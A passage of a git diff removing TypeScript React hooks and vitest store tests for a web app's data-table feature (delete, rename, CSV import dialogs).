-        workspaceId: String(workspaceId),
-    });
-
-    const collator = useMemo(() => new Intl.Collator(undefined, {numeric: true, sensitivity: 'base'}), []);
-
-    const filteredTables = useMemo(() => {
-        const query = search.trim().toLowerCase();
-        const tables = [...(data?.dataTables ?? [])].sort((tableA, tableB) =>
-            collator.compare(tableA.baseName.trim(), tableB.baseName.trim())
-        );
-
-        if (!query) {
-            return tables;
-        }
-
-        return tables.filter((table) => table.baseName.toLowerCase().includes(query));
-    }, [data, search, collator]);
-
-    const handleSearchChange = (value: string) => {
-        setSearch(value);
-    };
-
-    return {
-        error,
-        filteredTables,
-        handleSearchChange,
-        isLoading,
-        search,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useDeleteDataTableAlertDialog.ts b/client/src/pages/automation/datatable/hooks/useDeleteDataTableAlertDialog.ts
deleted file mode 100644
index 8d9df37e125..00000000000
--- a/client/src/pages/automation/datatable/hooks/useDeleteDataTableAlertDialog.ts
+++ /dev/null
@@ -1,81 +0,0 @@
-import {useDeleteDataTableAlertDialogStore} from '@/pages/automation/datatable/stores/useDeleteDataTableAlertDialogStore';
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import {useDataTablesQuery, useDropDataTableMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {useNavigate} from 'react-router-dom';
-
-interface UseDeleteDataTableAlertDialogI {
-    handleClose: () => void;
-    handleDelete: () => void;
-    handleOpen: (tableId: string, tableName: string) => void;
-    handleOpenChange: (open: boolean) => void;
-    open: boolean;
-    tableName: string | null;
-}
-
-export default function useDeleteDataTableAlertDialog(): UseDeleteDataTableAlertDialogI {
-    const {clearTableToDelete, setTableToDelete, tableIdToDelete, tableNameToDelete} =
-        useDeleteDataTableAlertDialogStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const workspaceId = useWorkspaceStore((state) => state.currentWorkspaceId);
-
-    const queryClient = useQueryClient();
-    const navigate = useNavigate();
-
-    const {data: tablesData} = useDataTablesQuery({
-        environmentId: String(environmentId),
-        workspaceId: String(workspaceId),
-    });
-
-    const dropMutation = useDropDataTableMutation({
-        onSuccess: () => {
-            void queryClient.invalidateQueries({queryKey: ['dataTables']});
-            void queryClient.invalidateQueries({queryKey: ['dataTableTagsByTable']});
-
-            const collator = new Intl.Collator(undefined, {numeric: true, sensitivity: 'base'});
-            const sorted = [...(tablesData?.dataTables ?? [])].sort((sortedTableA, sortedTableB) =>
-                collator.compare(sortedTableA.baseName.trim(), sortedTableB.baseName.trim())
-            );
-            const currentIndex = sorted.findIndex((sortedTable) => sortedTable.id === tableIdToDelete);
-            const nextTable = currentIndex >= 0 ? sorted[currentIndex + 1] : undefined;
-
-            clearTableToDelete();
-
-            if (nextTable?.id) {
-                navigate(`/automation/datatables/${nextTable.id}`);
-            } else {
-                navigate('/automation/datatables');
-            }
-        },
-    });
-
-    const handleClose = () => {
-        clearTableToDelete();
-    };
-
-    const handleOpen = (tableId: string, tableName: string) => {
-        setTableToDelete(tableId, tableName);
-    };
-
-    const handleDelete = () => {
-        if (tableIdToDelete) {
-            dropMutation.mutate({input: {environmentId: String(environmentId), tableId: tableIdToDelete}});
-        }
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    return {
-        handleClose,
-        handleDelete,
-        handleOpen,
-        handleOpenChange,
-        open: tableIdToDelete !== null,
-        tableName: tableNameToDelete,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useDeleteDataTableColumnDialog.ts b/client/src/pages/automation/datatable/hooks/useDeleteDataTableColumnDialog.ts
deleted file mode 100644
index 287ed8b625a..00000000000
--- a/client/src/pages/automation/datatable/hooks/useDeleteDataTableColumnDialog.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import {useRemoveDataTableColumnMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-
-import {useCurrentDataTableStore} from '../stores/useCurrentDataTableStore';
-import {useDeleteDataTableColumnDialogStore} from '../stores/useDeleteDataTableColumnDialogStore';
-
-interface UseDeleteDataTableColumnDialogI {
-    columnName: string | null;
-    handleClose: () => void;
-    handleDelete: () => void;
-    handleOpen: (columnId: string, columnName: string) => void;
-    handleOpenChange: (open: boolean) => void;
-    open: boolean;
-}
-
-export default function useDeleteDataTableColumnDialog(): UseDeleteDataTableColumnDialogI {
-    const {clearDialog, columnId, columnName, setColumnToDelete} = useDeleteDataTableColumnDialogStore();
-    const {dataTable} = useCurrentDataTableStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const removeColumnMutation = useRemoveDataTableColumnMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-            clearDialog();
-        },
-    });
-
-    const handleClose = () => {
-        clearDialog();
-    };
-
-    const handleOpen = (colId: string, colName: string) => {
-        setColumnToDelete(colId, colName);
-    };
-
-    const handleDelete = () => {
-        if (!dataTable?.id || !columnId) return;
-
-        removeColumnMutation.mutate({
-            input: {columnId, environmentId: String(environmentId), tableId: dataTable.id},
-        });
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    return {
-        columnName,
-        handleClose,
-        handleDelete,
-        handleOpen,
-        handleOpenChange,
-        open: columnId !== null,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useDeleteDataTableRowsDialog.ts b/client/src/pages/automation/datatable/hooks/useDeleteDataTableRowsDialog.ts
deleted file mode 100644
index 4c36f166655..00000000000
--- a/client/src/pages/automation/datatable/hooks/useDeleteDataTableRowsDialog.ts
+++ /dev/null
@@ -1,70 +0,0 @@
-import {useCurrentDataTableStore} from '@/pages/automation/datatable/stores/useCurrentDataTableStore';
-import {useDeleteDataTableRowsDialogStore} from '@/pages/automation/datatable/stores/useDeleteDataTableRowsDialogStore';
-import {useSelectedRowsStore} from '@/pages/automation/datatable/stores/useSelectedRowsStore';
-import {useDeleteDataTableRowMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-
-interface UseDeleteDataTableRowsDialogI {
-    handleClose: () => void;
-    handleDelete: () => void;
-    handleOpen: () => void;
-    handleOpenChange: (open: boolean) => void;
-    open: boolean;
-    rowCount: number;
-}
-
-export default function useDeleteDataTableRowsDialog(): UseDeleteDataTableRowsDialogI {
-    const {dataTable} = useCurrentDataTableStore();
-    const {clearDialog, open, setOpen} = useDeleteDataTableRowsDialogStore();
-    const {clearSelectedRows, selectedRows} = useSelectedRowsStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const deleteRowMutation = useDeleteDataTableRowMutation({});
-
-    const handleClose = () => {
-        clearDialog();
-    };
-
-    const handleOpen = () => {
-        setOpen();
-    };
-
-    const handleDelete = async () => {
-        if (!selectedRows || selectedRows.size === 0) return;
-
-        if (!dataTable?.id) return;
-
-        const tableId = dataTable.id;
-
-        // Batch all deletions and invalidate once after all complete
-        await Promise.all(
-            Array.from(selectedRows).map((rowId) =>
-                deleteRowMutation.mutateAsync({
-                    input: {environmentId: String(environmentId), id: String(rowId), tableId},
-                })
-            )
-        );
-
-        queryClient.invalidateQueries({queryKey: ['dataTableRowsPage']});
-        clearDialog();
-        clearSelectedRows();
-    };
-
-    const handleOpenChange = (isOpen: boolean) => {
-        if (!isOpen) {
-            handleClose();
-        }
-    };
-
-    return {
-        handleClose,
-        handleDelete,
-        handleOpen,
-        handleOpenChange,
-        open,
-        rowCount: selectedRows.size,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useImportDataTableCsvDialog.ts b/client/src/pages/automation/datatable/hooks/useImportDataTableCsvDialog.ts
deleted file mode 100644
index 99e69a02d07..00000000000
--- a/client/src/pages/automation/datatable/hooks/useImportDataTableCsvDialog.ts
+++ /dev/null
@@ -1,64 +0,0 @@
-import {useImportDataTableCsvMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-
-import {useCurrentDataTableStore} from '../stores/useCurrentDataTableStore';
-import {useImportDataTableCsvDialogStore} from '../stores/useImportDataTableCsvDialogStore';
-
-interface UseImportDataTableCsvDialogI {
-    handleClose: () => void;
-    handleImport: (csvContent: string) => void;
-    handleOpen: () => void;
-    handleOpenChange: (open: boolean) => void;
-    isPending: boolean;
-    open: boolean;
-}
-
-export default function useImportDataTableCsvDialog(): UseImportDataTableCsvDialogI {
-    const {clearDialog, open, setOpen} = useImportDataTableCsvDialogStore();
-    const {dataTable} = useCurrentDataTableStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const importCsvMutation = useImportDataTableCsvMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTableRowsPage']});
-
-            clearDialog();
-        },
-    });
-
-    const handleClose = () => {
-        clearDialog();
-    };
-
-    const handleOpen = () => {
-        setOpen(true);
-    };
-
-    const handleImport = (csvContent: string) => {
-        if (!dataTable?.id) return;
-
-        importCsvMutation.mutate({
-            input: {csv: csvContent, environmentId: String(environmentId), tableId: dataTable.id},
-        });
-    };
-
-    const handleOpenChange = (openValue: boolean) => {
-        if (!openValue) {
-            handleClose();
-        } else {
-            setOpen(true);
-        }
-    };
-
-    return {
-        handleClose,
-        handleImport,
-        handleOpen,
-        handleOpenChange,
-        isPending: importCsvMutation.isPending,
-        open,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useRenameDataTableColumnDialog.ts b/client/src/pages/automation/datatable/hooks/useRenameDataTableColumnDialog.ts
deleted file mode 100644
index f25a8becc7e..00000000000
--- a/client/src/pages/automation/datatable/hooks/useRenameDataTableColumnDialog.ts
+++ /dev/null
@@ -1,83 +0,0 @@
-import {useRenameDataTableColumnMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {useMemo} from 'react';
-
-import {useCurrentDataTableStore} from '../stores/useCurrentDataTableStore';
-import {useRenameDataTableColumnDialogStore} from '../stores/useRenameDataTableColumnDialogStore';
-
-interface UseRenameDataTableColumnDialogI {
-    canRename: boolean;
-    currentName: string;
-    handleClose: () => void;
-    handleOpen: (columnId: string, currentName: string) => void;
-    handleOpenChange: (open: boolean) => void;
-    handleRename: () => void;
-    handleRenameSubmit: () => void;
-    handleRenameValueChange: (value: string) => void;
-    open: boolean;
-    renameValue: string;
-}
-
-export default function useRenameDataTableColumnDialog(): UseRenameDataTableColumnDialogI {
-    const {clearDialog, columnId, currentName, renameValue, setColumnToRename, setRenameValue} =
-        useRenameDataTableColumnDialogStore();
-    const {dataTable} = useCurrentDataTableStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const renameColumnMutation = useRenameDataTableColumnMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-            queryClient.invalidateQueries({queryKey: ['dataTableRowsPage']});
-
-            clearDialog();
-        },
-    });
-
-    const canRename = useMemo(() => {
-        const trimmed = renameValue.trim();
-
-        return trimmed.length > 0 && trimmed !== currentName && trimmed.toLowerCase() !== 'id';
-    }, [renameValue, currentName]);
-
-    const handleClose = () => {
-        clearDialog();
-    };
-
-    const handleOpen = (colId: string, colName: string) => {
-        setColumnToRename(colId, colName);
-    };
-
-    const handleRenameValueChange = (value: string) => {
-        setRenameValue(value);
-    };
-
-    const handleRenameSubmit = () => {
-        if (!dataTable?.id || !columnId || !canRename) return;
-
-        renameColumnMutation.mutate({
-            input: {columnId, environmentId: String(environmentId), newName: renameValue.trim(), tableId: dataTable.id},
-        });
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    return {
-        canRename,
-        currentName,
-        handleClose,
-        handleOpen,
-        handleOpenChange,
-        handleRename: handleRenameSubmit,
-        handleRenameSubmit,
-        handleRenameValueChange,
-        open: columnId !== null,
-        renameValue,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useRenameDataTableDialog.ts b/client/src/pages/automation/datatable/hooks/useRenameDataTableDialog.ts
deleted file mode 100644
index 5edde4a232e..00000000000
--- a/client/src/pages/automation/datatable/hooks/useRenameDataTableDialog.ts
+++ /dev/null
@@ -1,79 +0,0 @@
-import {useRenameDataTableDialogStore} from '@/pages/automation/datatable/stores/useRenameDataTableDialogStore';
-import {useRenameDataTableMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {useMemo} from 'react';
-
-interface UseRenameDataTableDialogI {
-    canRename: boolean;
-    handleClose: () => void;
-    handleOpen: (tableId: string, baseName: string) => void;
-    handleOpenChange: (open: boolean) => void;
-    handleRename: () => void;
-    handleRenameSubmit: () => void;
-    handleRenameValueChange: (value: string) => void;
-    open: boolean;
-    renameValue: string;
-}
-
-export default function useRenameDataTableDialog(): UseRenameDataTableDialogI {
-    const {baseName, clearTableToRename, renameValue, setRenameValue, setTableToRename, tableIdToRename} =
-        useRenameDataTableDialogStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const renameMutation = useRenameDataTableMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-            clearTableToRename();
-        },
-    });
-
-    const canRename = useMemo(
-        () => renameValue.trim().length > 0 && renameValue.trim() !== baseName,
-        [renameValue, baseName]
-    );
-
-    const handleClose = () => {
-        clearTableToRename();
-    };
-
-    const handleOpen = (tableId: string, tableName: string) => {
-        setTableToRename(tableId, tableName);
-    };
-
-    const handleRenameValueChange = (value: string) => {
-        setRenameValue(value);
-    };
-
-    const handleRenameSubmit = () => {
-        if (tableIdToRename && canRename) {
-            renameMutation.mutate({
-                input: {
-                    environmentId: String(environmentId),
-                    newBaseName: renameValue.trim(),
-                    tableId: tableIdToRename,
-                },
-            });
-        }
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    return {
-        canRename,
-        handleClose,
-        handleOpen,
-        handleOpenChange,
-        handleRename: handleRenameSubmit,
-        handleRenameSubmit,
-        handleRenameValueChange,
-        open: tableIdToRename !== null,
-        renameValue,
-    };
-}
diff --git a/client/src/pages/automation/datatable/stores/tests/useAddDataTableColumnDialogStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useAddDataTableColumnDialogStore.test.ts
deleted file mode 100644
index 42b5a3f309b..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useAddDataTableColumnDialogStore.test.ts
+++ /dev/null
@@ -1,78 +0,0 @@
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useAddDataTableColumnDialogStore} from '../useAddDataTableColumnDialogStore';
-
-describe('useAddDataTableColumnDialogStore', () => {
-    beforeEach(() => {
-        useAddDataTableColumnDialogStore.getState().clearDialog();
-    });
-
-    describe('initial state', () => {
-        it('should have open as false initially', () => {
-            const state = useAddDataTableColumnDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-    });
-
-    describe('setOpen', () => {
-        it('should set open to true when called with true', () => {
-            useAddDataTableColumnDialogStore.getState().setOpen(true);
-
-            const state = useAddDataTableColumnDialogStore.getState();
-
-            expect(state.open).toBe(true);
-        });
-
-        it('should set open to false when called with false', () => {
-            useAddDataTableColumnDialogStore.getState().setOpen(true);
-            useAddDataTableColumnDialogStore.getState().setOpen(false);
-
-            const state = useAddDataTableColumnDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-
-        it('should toggle open state correctly', () => {
-            const store = useAddDataTableColumnDialogStore.getState();
-
-            store.setOpen(true);
-
-            expect(useAddDataTableColumnDialogStore.getState().open).toBe(true);
-
-            store.setOpen(false);
-
-            expect(useAddDataTableColumnDialogStore.getState().open).toBe(false);
-
-            store.setOpen(true);
-
-            expect(useAddDataTableColumnDialogStore.getState().open).toBe(true);
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('should set open to false', () => {
-            useAddDataTableColumnDialogStore.getState().setOpen(true);
-
-            expect(useAddDataTableColumnDialogStore.getState().open).toBe(true);
-
-            useAddDataTableColumnDialogStore.getState().clearDialog();
-
-            const state = useAddDataTableColumnDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-
-        it('should have no effect when already closed', () => {
-            const initialState = useAddDataTableColumnDialogStore.getState();
-
-            expect(initialState.open).toBe(false);
-
-            useAddDataTableColumnDialogStore.getState().clearDialog();
-
-            const state = useAddDataTableColumnDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useCurrentDataTableStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useCurrentDataTableStore.test.ts
deleted file mode 100644
index 4751d534b45..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useCurrentDataTableStore.test.ts
+++ /dev/null
@@ -1,103 +0,0 @@
-import {ColumnType} from '@/shared/middleware/graphql';
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import {useCurrentDataTableStore} from '../useCurrentDataTableStore';
-
-describe('useCurrentDataTableStore', () => {
-    beforeEach(() => {
-        useCurrentDataTableStore.getState().clearDataTable();
-    });
-
-    afterEach(() => {
-        useCurrentDataTableStore.getState().clearDataTable();
-    });
-
-    describe('initial state', () => {
-        it('should have undefined dataTable initially', () => {
-            const {dataTable} = useCurrentDataTableStore.getState();
-
-            expect(dataTable).toBeUndefined();
-        });
-    });
-
-    describe('setDataTable', () => {
-        it('should set the dataTable', () => {
-            const mockDataTable = {
-                baseName: 'TestTable',
-                columns: [{id: 'col1', name: 'Column 1', type: 'STRING' as ColumnType}],
-                id: 'table-123',
-            };
-
-            useCurrentDataTableStore.getState().setDataTable(mockDataTable);
-
-            const {dataTable} = useCurrentDataTableStore.getState();
-
-            expect(dataTable).toEqual(mockDataTable);
-        });
-
-        it('should replace existing dataTable when setting a new one', () => {
-            const firstTable = {
-                baseName: 'FirstTable',
-                columns: [] as {id: string; name: string; type: ColumnType}[],
-                id: 'table-1',
-            };
-            const secondTable = {
-                baseName: 'SecondTable',
-                columns: [{id: 'col1', name: 'Column 1', type: 'NUMBER' as ColumnType}],
-                id: 'table-2',
-            };
-
-            useCurrentDataTableStore.getState().setDataTable(firstTable);
-            useCurrentDataTableStore.getState().setDataTable(secondTable);
-
-            const {dataTable} = useCurrentDataTableStore.getState();
-
-            expect(dataTable).toEqual(secondTable);
-        });
-
-        it('should handle dataTable with multiple columns', () => {
-            const mockDataTable = {
-                baseName: 'MultiColumnTable',
-                columns: [
-                    {id: 'col1', name: 'Name', type: 'STRING' as ColumnType},
-                    {id: 'col2', name: 'Age', type: 'NUMBER' as ColumnType},
-                    {id: 'col3', name: 'Active', type: 'BOOLEAN' as ColumnType},
-                ],
-                id: 'table-multi',
-            };
-
-            useCurrentDataTableStore.getState().setDataTable(mockDataTable);
-
-            const {dataTable} = useCurrentDataTableStore.getState();
-
-            expect(dataTable).toEqual(mockDataTable);
-            expect(dataTable?.columns).toHaveLength(3);
-        });
-    });
-
-    describe('clearDataTable', () => {
-        it('should clear the dataTable to undefined', () => {
-            const mockDataTable = {
-                baseName: 'TestTable',
-                columns: [] as {id: string; name: string; type: ColumnType}[],
-                id: 'table-123',
-            };
-
-            useCurrentDataTableStore.getState().setDataTable(mockDataTable);
-            useCurrentDataTableStore.getState().clearDataTable();
-
-            const {dataTable} = useCurrentDataTableStore.getState();
-
-            expect(dataTable).toBeUndefined();
-        });
-
-        it('should be idempotent when called multiple times', () => {
-            useCurrentDataTableStore.getState().clearDataTable();
-            useCurrentDataTableStore.getState().clearDataTable();
-
-            const {dataTable} = useCurrentDataTableStore.getState();
-
-            expect(dataTable).toBeUndefined();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableAlertDialogStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableAlertDialogStore.test.ts
deleted file mode 100644
index d236b0c7108..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableAlertDialogStore.test.ts
+++ /dev/null
@@ -1,97 +0,0 @@
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import {useDeleteDataTableAlertDialogStore} from '../useDeleteDataTableAlertDialogStore';
-
-describe('useDeleteDataTableAlertDialogStore', () => {
-    beforeEach(() => {
-        useDeleteDataTableAlertDialogStore.getState().clearTableToDelete();
-    });
-
-    afterEach(() => {
-        useDeleteDataTableAlertDialogStore.getState().clearTableToDelete();
-    });
-
-    describe('initial state', () => {
-        it('should have null tableIdToDelete initially', () => {
-            const {tableIdToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableIdToDelete).toBeNull();
-        });
-
-        it('should have null tableNameToDelete initially', () => {
-            const {tableNameToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableNameToDelete).toBeNull();
-        });
-    });
-
-    describe('setTableToDelete', () => {
-        it('should set tableIdToDelete and tableNameToDelete', () => {
-            useDeleteDataTableAlertDialogStore.getState().setTableToDelete('table-123', 'Test Table');
-
-            const {tableIdToDelete, tableNameToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableIdToDelete).toBe('table-123');
-            expect(tableNameToDelete).toBe('Test Table');
-        });
-
-        it('should replace existing values when called again', () => {
-            useDeleteDataTableAlertDialogStore.getState().setTableToDelete('table-1', 'First Table');
-            useDeleteDataTableAlertDialogStore.getState().setTableToDelete('table-2', 'Second Table');
-
-            const {tableIdToDelete, tableNameToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableIdToDelete).toBe('table-2');
-            expect(tableNameToDelete).toBe('Second Table');
-        });
-
-        it('should handle empty table name', () => {
-            useDeleteDataTableAlertDialogStore.getState().setTableToDelete('table-123', '');
-
-            const {tableIdToDelete, tableNameToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableIdToDelete).toBe('table-123');
-            expect(tableNameToDelete).toBe('');
-        });
-
-        it('should handle special characters in table name', () => {
-            useDeleteDataTableAlertDialogStore
-                .getState()
-                .setTableToDelete('table-special', 'Table with "quotes" & symbols!');
-
-            const {tableNameToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableNameToDelete).toBe('Table with "quotes" & symbols!');
-        });
-    });
-
-    describe('clearTableToDelete', () => {
-        it('should reset tableIdToDelete to null', () => {
-            useDeleteDataTableAlertDialogStore.getState().setTableToDelete('table-123', 'Test Table');
-            useDeleteDataTableAlertDialogStore.getState().clearTableToDelete();
-
-            const {tableIdToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableIdToDelete).toBeNull();
-        });
-
-        it('should reset tableNameToDelete to null', () => {
-            useDeleteDataTableAlertDialogStore.getState().setTableToDelete('table-123', 'Test Table');
-            useDeleteDataTableAlertDialogStore.getState().clearTableToDelete();
-
-            const {tableNameToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableNameToDelete).toBeNull();
-        });
-
-        it('should be idempotent when called multiple times', () => {
-            useDeleteDataTableAlertDialogStore.getState().clearTableToDelete();
-            useDeleteDataTableAlertDialogStore.getState().clearTableToDelete();
-
-            const {tableIdToDelete, tableNameToDelete} = useDeleteDataTableAlertDialogStore.getState();
-
-            expect(tableIdToDelete).toBeNull();
-            expect(tableNameToDelete).toBeNull();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableColumnDialogStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableColumnDialogStore.test.ts
deleted file mode 100644
index 8ab210c6426..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableColumnDialogStore.test.ts
+++ /dev/null
@@ -1,97 +0,0 @@
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import {useDeleteDataTableColumnDialogStore} from '../useDeleteDataTableColumnDialogStore';
-
-describe('useDeleteDataTableColumnDialogStore', () => {
-    beforeEach(() => {
-        useDeleteDataTableColumnDialogStore.getState().clearDialog();
-    });
-
-    afterEach(() => {
-        useDeleteDataTableColumnDialogStore.getState().clearDialog();
-    });
-
-    describe('initial state', () => {
-        it('should have null columnId initially', () => {
-            const {columnId} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnId).toBeNull();
-        });
-
-        it('should have null columnName initially', () => {
-            const {columnName} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnName).toBeNull();
-        });
-    });
-
-    describe('setColumnToDelete', () => {
-        it('should set columnId and columnName', () => {
-            useDeleteDataTableColumnDialogStore.getState().setColumnToDelete('col-123', 'Test Column');
-
-            const {columnId, columnName} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnId).toBe('col-123');
-            expect(columnName).toBe('Test Column');
-        });
-
-        it('should replace existing values when called again', () => {
-            useDeleteDataTableColumnDialogStore.getState().setColumnToDelete('col-1', 'First Column');
-            useDeleteDataTableColumnDialogStore.getState().setColumnToDelete('col-2', 'Second Column');
-
-            const {columnId, columnName} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnId).toBe('col-2');
-            expect(columnName).toBe('Second Column');
-        });
-
-        it('should handle empty column name', () => {
-            useDeleteDataTableColumnDialogStore.getState().setColumnToDelete('col-123', '');
-
-            const {columnId, columnName} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnId).toBe('col-123');
-            expect(columnName).toBe('');
-        });
-
-        it('should handle special characters in column name', () => {
-            useDeleteDataTableColumnDialogStore
-                .getState()
-                .setColumnToDelete('col-special', 'Column with "quotes" & symbols!');
-
-            const {columnName} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnName).toBe('Column with "quotes" & symbols!');
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('should reset columnId to null', () => {
-            useDeleteDataTableColumnDialogStore.getState().setColumnToDelete('col-123', 'Test Column');
-            useDeleteDataTableColumnDialogStore.getState().clearDialog();
-
-            const {columnId} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnId).toBeNull();
-        });
-
-        it('should reset columnName to null', () => {
-            useDeleteDataTableColumnDialogStore.getState().setColumnToDelete('col-123', 'Test Column');
-            useDeleteDataTableColumnDialogStore.getState().clearDialog();
-
-            const {columnName} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnName).toBeNull();
-        });
-
-        it('should be idempotent when called multiple times', () => {
-            useDeleteDataTableColumnDialogStore.getState().clearDialog();
-            useDeleteDataTableColumnDialogStore.getState().clearDialog();
-
-            const {columnId, columnName} = useDeleteDataTableColumnDialogStore.getState();
-
-            expect(columnId).toBeNull();
-            expect(columnName).toBeNull();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableRowsDialogStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableRowsDialogStore.test.ts
deleted file mode 100644
index 09356388717..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useDeleteDataTableRowsDialogStore.test.ts
+++ /dev/null
@@ -1,39 +0,0 @@
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useDeleteDataTableRowsDialogStore} from '../useDeleteDataTableRowsDialogStore';
-
-describe('useDeleteDataTableRowsDialogStore', () => {
-    beforeEach(() => {
-        useDeleteDataTableRowsDialogStore.getState().clearDialog();
-    });
-
-    describe('initial state', () => {
-        it('should have open set to false initially', () => {
-            const state = useDeleteDataTableRowsDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-    });
-
-    describe('setOpen', () => {
-        it('should set open to true', () => {
-            useDeleteDataTableRowsDialogStore.getState().setOpen();
-
-            const state = useDeleteDataTableRowsDialogStore.getState();
-
-            expect(state.open).toBe(true);
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('should set open to false', () => {
-            useDeleteDataTableRowsDialogStore.getState().setOpen();
-
-            useDeleteDataTableRowsDialogStore.getState().clearDialog();
-
-            const state = useDeleteDataTableRowsDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useImportDataTableCsvDialogStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useImportDataTableCsvDialogStore.test.ts
deleted file mode 100644
index de9ea78d5d4..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useImportDataTableCsvDialogStore.test.ts
+++ /dev/null
@@ -1,78 +0,0 @@
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useImportDataTableCsvDialogStore} from '../useImportDataTableCsvDialogStore';
-
-describe('useImportDataTableCsvDialogStore', () => {
-    beforeEach(() => {
-        useImportDataTableCsvDialogStore.getState().clearDialog();
-    });
-
-    describe('initial state', () => {
-        it('should have open as false initially', () => {
-            const state = useImportDataTableCsvDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-    });
-
-    describe('setOpen', () => {
-        it('should set open to true when called with true', () => {
-            useImportDataTableCsvDialogStore.getState().setOpen(true);
-
-            const state = useImportDataTableCsvDialogStore.getState();
-
-            expect(state.open).toBe(true);
-        });
-
-        it('should set open to false when called with false', () => {
-            useImportDataTableCsvDialogStore.getState().setOpen(true);
-            useImportDataTableCsvDialogStore.getState().setOpen(false);
-
-            const state = useImportDataTableCsvDialogStore.getState();
